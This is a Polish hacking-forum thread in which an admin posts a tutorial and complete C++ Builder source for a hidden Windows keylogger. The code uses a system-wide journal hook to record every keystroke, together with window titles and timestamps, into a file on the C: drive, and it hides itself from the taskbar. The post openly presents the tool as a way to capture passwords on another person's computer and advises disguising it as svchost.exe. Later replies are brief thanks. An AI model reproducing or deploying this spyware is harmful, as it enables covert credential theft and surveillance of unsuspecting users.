Forum Haking & Security. Packetstorm Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
Prosty Keyloger

 
Odpowiedz do tematu    Forum Haking & Security. Packetstorm Strona Główna » Programowanie Zobacz poprzedni temat
Zobacz następny temat
Prosty Keyloger
Autor Wiadomość
WhoAmI
Admin



Dołączył: 13 Lip 2008
Posty: 68
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Się biorą dzieci?
Płeć: Mężczyzna

Post Prosty Keyloger
Keyloger to jeden z bardziej pożądanych programów, ponieważ pozwala na przechwytywanie klawiatury, a właściwie wciśnięcia poszczególnych jej klawiszy. Przechwytywanie wciśnięcia klawiszy tylko w programie, w którym został umieszczony takowy kod, jest sprawą prostą, więc nie będę tego tutaj opisywał.
Ta porada jest o tym jak napisać program, który będzie pozostawał ukryty i nieaktywny (ale uruchomiony oczywiście) i będzie przechwytywał hacki systemowe, w tym konkretnym przypadku wciśnięcia poszczególnych klawiszy w systemie, w dowolnym programie, a wynik będzie na bieżąco zapisywał do pliku. Jaki jest pożytek z takiego programu? No cóż, może wydawać się to niemoralne, ale z pomocą takiego programu można przechwytywać hasła wpisywane do programu, o ile oczywiście uda nam się na komputerze, z którego hasła chcemy podejrzeć, uruchomić nasz keyloger. Program będzie pozostawał w ukryciu niewidoczny dla użytkownika i będzie rejestrował wszystkie wciśnięcia klawiszy, co więcej, kod który pokażę, będzie rejestrował również datę i godzinę oraz nazwę okna w którym klawisze były wciskane, niżej przykład właśnie takiego pliku:

Kod:
2007-05-13 09:58:54 Mozilla Firefox: "cyfbar.republika.pl[EN]keyloger" c++ builder[EN]
2007-05-13 09:59:23 Bez tytułu - Notatnik: Przyk[rALT]ladowy tekst wpisywany w Notatniku systemowym.
2007-05-13 10:00:09 Dokument1 - Microsoft Word: a t[BK]teraz pisz[lALT][rALT]e w Word'zie.
2007-05-13 10:02:17 Unit1.cpp: //j[BK]keyloger [BK], kod w cpp


Jak widać keyloger tworzy oddzielne rejestry dla różnych okien, dopóki nie zostanie zmienione okno, w ten sposób można precyzyjnie określić co i kiedy było wpisywane. Jeżeli w jakimś programie jest wpisywane hasło, no to najczęściej jest ono maskowane gwiazdkami, lecz keyloger przechwytuje nie gwiazdki lecz tekst, występuje jednak w takim przypadku jeden mankament, otóż podczas wpisywania loginu i hasła następuje przejście z jednego pola do drugiego poprzez kliknięcie myszką i tutaj tak przechwycona nazwa użytkownika i hasło nie zostaną od siebie oddzielone, np:
Kod:
2007-05-13 09:58:54 Mozilla Firefox: cyfrowy_baron@.........

jak widać nie ma przerwy między nazwą użytkownika i hasła, niestety taka drobna niedogodność, próbowałem rejestrować wciśnięcie klawisza myszy w celu oddzielenie wpisów, ale wystąpiły z tym problemy, ponieważ funkcja wykorzystuje już kliknięcia myszki do sprawdzania, czy użytkownik zmienił okno, poza tym program rejestrował zbyt dużo kliknięć i pojawiały się ciągi absurdalnych znaków.
Drugi problem to polskie znaki, nie mogłem sobie z tym poradzić, ale też nie chciało mi się specjalnie nad tym siedzieć, więc poszedłem na łatwiznę i wprowadziłem rejestrowanie wciśnięcia prawego klawisz Alt, czyli w przypadku wstawienia polskiej litery np. ś program zarejestruje to jako: [rAlt]s, więc np. wyraz światłość, będzie miał następującą postać: [rAlt]swiat[rAlt]lo[rAlt]s[rAlt]c, ale i tutaj pojawia się dodatkowy problem, ponieważ pisząc wyraz światłość, w przypadku wpisywania ostatnich dwóch liter ść użytkownik przytrzyma wciśnięty klawisz Alt i w efekcie wyraz zostanie zarejestrowany jako [rALT]swiat[rALT]lo[rALT]sc, tak więc z polskimi znakami występują problemy, ale z reguły loginy i hasła nie mogą ich zawierać.
Kolejna sprawa to klawisze specjalne, jak np. ENTER, TAB, BACKSPACE, itp.. program je rejestruje jako specjalny zestaw znaków i tak np. w przykładzie wyżej mamy coś takiego: //j[BK]keyloger [BK], kod w cpp widać tutaj wstawki [BK] oznacza to, że w tym momencie został użyty klawisz BackSpace, czyli usuwanie wpisanej litery, dla ENTER będzie to np. [EN] dla Page Up [PU] itd.
Prezentowany tutaj keyloger jest zrobiony jako aplikacja okienkowa, czyli nie wymaga to stosowania żadnych plików *.DLL, czy WinAPI, całość zadania zostaje zrealizowana poprzez funkcję typu HOOKPROC.
Niżej przedstawiam kompletny listing pliku źródłowego keylogera i cały kod programu mieści się w pliku źródłowym Unit1.cpp, w programie wykorzystałem tylko dwa komponenty - przyciski Button1 q którym podłączenie hacka (keylogera) i Button2, w którym hack zostaje odłączony:




Kod:
//---------------------------------------------------------------------------

#include
#pragma hdrstop

#include "Unit1.h"
#include
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

HHOOK g_hLogHook = NULL;
HWND g_hLastFocus = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar;
//---------------------------------------------------------------------------
HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam)
{
if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);

EVENTMSG *pEvt = (EVENTMSG *)lParam;
int i;
HWND hFocus;
char szTitle[256];
char szTime[128];
FILE *stream = fopen("c:\\logfile.txt", "a+t"); //rejestr keylogera zostaje zapisany w pliku logfile.txt na dysku c:

if(pEvt->message == WM_KEYDOWN)
{
int vKey = LOBYTE(pEvt->paramL);
char ch;
char str[10];
hFocus = GetActiveWindow();

if(g_hLastFocus != hFocus)
{
GetWindowText(hFocus, szTitle, 256);
g_hLastFocus = hFocus;
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
fprintf(stream, "%c%c", 32, 32);
}

int iShift = GetKeyState(0x10);
int iCapital = GetKeyState(0x14);
int iNumLock = GetKeyState(0x90);

bool bShift = (iShift & KeyPressMask) == KeyPressMask;
bool bCapital = (iCapital & 1) == 1;
bool bNumLock = (iNumLock & 1) == 1;

if(vKey >= 48 && vKey <= 57)
if(!bShift) fprintf(stream, "%c", vKey);

if(vKey >= 65 && vKey <= 90)
{
if(!bCapital)
{
if(bShift)
{
ch = vKey;
}
else
{
ch = vKey + 32;
}
}
else
if(bShift)
{
ch = vKey + 32;
}
else
{
ch = vKey;
}
fprintf(stream, "%c", ch);
}

if(vKey >= 96 && vKey <= 105)
if(bNumLock) fprintf(stream, "%c", vKey - 96 + 48);
if(vKey >= 186 && vKey <= 222)
{
switch(vKey)
{
case 186: if(!bShift) ch = ';'; else ch = ':'; break;
case 187: if(!bShift) ch = '='; else ch = '+'; break;
case 188: if(!bShift) ch = ','; else ch = '<'; break;
case 189: if(!bShift) ch = '-'; else ch = '_'; break;
case 190: if(!bShift) ch = '.'; else ch = '>'; break;
case 191: if(!bShift) ch = '/'; else ch = '?'; break;
case 192: if(!bShift) ch = '`'; else ch = '~'; break;
case 219: if(!bShift) ch = '['; else ch = '{'; break;
case 220: if(!bShift) ch = '\\'; else ch = '?'; break;
case 221: if(!bShift) ch = ']'; else ch = '}'; break;
case 222: if(!bShift) ch = '\''; else ch = '\"'; break;
default: ch = 'n'; break;
}
if(ch != 'n') fprintf(stream, "%c", ch);
}
if(vKey >= 8 && vKey <= 46)
{
switch(vKey)
{
case 8: strcpy(str, "[BK]"); break;
case 9: strcpy(str, "[TAB]"); break;
case 13: strcpy(str, "[EN]"); break; // ENTER
case 17: strcpy(str, "[rALT]"); break; // prawy ALT
// case 18: strcpy(str, "[lALT]"); break; // lewy ALT
case 32: strcpy(str, " "); break; // spacja
case 33: strcpy(str, "[PU]"); break;
case 34: strcpy(str, "[PD]"); break;
case 35: strcpy(str, "[END]"); break;
case 36: strcpy(str, "[HOME]"); break;
case 37: strcpy(str, "[LF]"); break;
case 38: strcpy(str, "[UF]"); break;
case 39: strcpy(str, "[RF]"); break;
case 40: strcpy(str, "[DF]"); break;
case 45: strcpy(str, "[INS]"); break;
case 46: strcpy(str, "[DEL]"); break;
default: ch = 'n'; break;
}
if(ch != 'n') fprintf(stream, "%s", str);
}
if(bShift && vKey == 123)
{
Application->Restore();
ShowWindow(Application->Handle, SW_SHOW);

if(g_hLogHook != NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
}
if(pEvt->message == WM_LBUTTONDOWN && pEvt->message == WM_RBUTTONDOWN)
{
hFocus = GetActiveWindow();
if(g_hLastFocus != hFocus)
{
g_hLastFocus = hFocus;
GetWindowText(hFocus, szTitle, 256);
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
fprintf(stream, "%c%c", 32, 32);
}
}
fclose(stream);

return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam);
}
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if(g_hLogHook == NULL)
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0);

Application->Minimize();
ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if(g_hLogHook != NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
//---------------------------------------------------------------------------


W zdarzeniu OnClick przycisku Button1 hack zostaje podłączony do wszystkich procesów, a następnie program zostaje zminimalizowany i ukryty poprzez usunięcie go z paska zadań, w Menadżerze zadań na zakładce Aplikacje program również nie będzie widoczny, jednak będzie widniał na zakładce procesów . Niemniej jednak jak wspomniałem program zostaje ukryty, można mu nadać np. nazwę svchost.exe, wtedy można zmylić użytkownika, ponieważ na zakładce procesów występuje ich kilka, oczywiście wprawne oko informatyka rozpozna tak zamaskowany proces jako fałszywy ponieważ będzie on występował jako proces użytkownika, podczas gdy autentyczne procesy svchost.exe występują tylko jako procesy systemu, usługi sieciowe i usługi lokalne, więc można odróżnić fałszywkę.
Skoro program został ukryty, no to nie można go przywołać i odłączyć hacka, dlatego w funkcji ConnectHook umieściłem kod odłączający hack i przywołujący okno po naciśnięciu kombinacji klawiszy SHIFT + F12, czyli wystarczy, że użytkownika naciśnie klawisze SHIFT + F12 a program się ukaże i hack się odłączy, więc kryje się za tym pewne niebezpieczeństwo, to oczywiście sprawia, że kod znajdujący się w zdarzeniu OnClick przycisku Button2 jest zbędny, ale umieściłem go dla przykładu.


Post został pochwalony 0 razy
Nie 22:52, 13 Lip 2008 Zobacz profil autora
palusikr6T




Dołączył: 04 Lut 2014
Posty: 5
Przeczytał: 0 tematów

Ostrzeżeń: 0/6

Post
DZIEKI!


Post został pochwalony 0 razy
Wto 21:21, 04 Lut 2014 Zobacz profil autora
Czaczek30




Dołączył: 26 Lut 2014
Posty: 5
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Tuliszków

Post
SUPER!


Post został pochwalony 0 razy
Śro 19:07, 26 Lut 2014 Zobacz profil autora
Zubenpl54




Dołączył: 02 Mar 2014
Posty: 5
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Rybnik

Post
Doskonale!


Post został pochwalony 0 razy
Nie 0:15, 02 Mar 2014 Zobacz profil autora
Elosator_59




Dołączył: 25 Mar 2014
Posty: 5
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Słomniki

Post
Super Very Happy


Post został pochwalony 0 razy
Wto 23:21, 25 Mar 2014 Zobacz profil autora
Wyświetl posty z ostatnich:    
Odpowiedz do tematu    Forum Haking & Security. Packetstorm Strona Główna » Programowanie Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin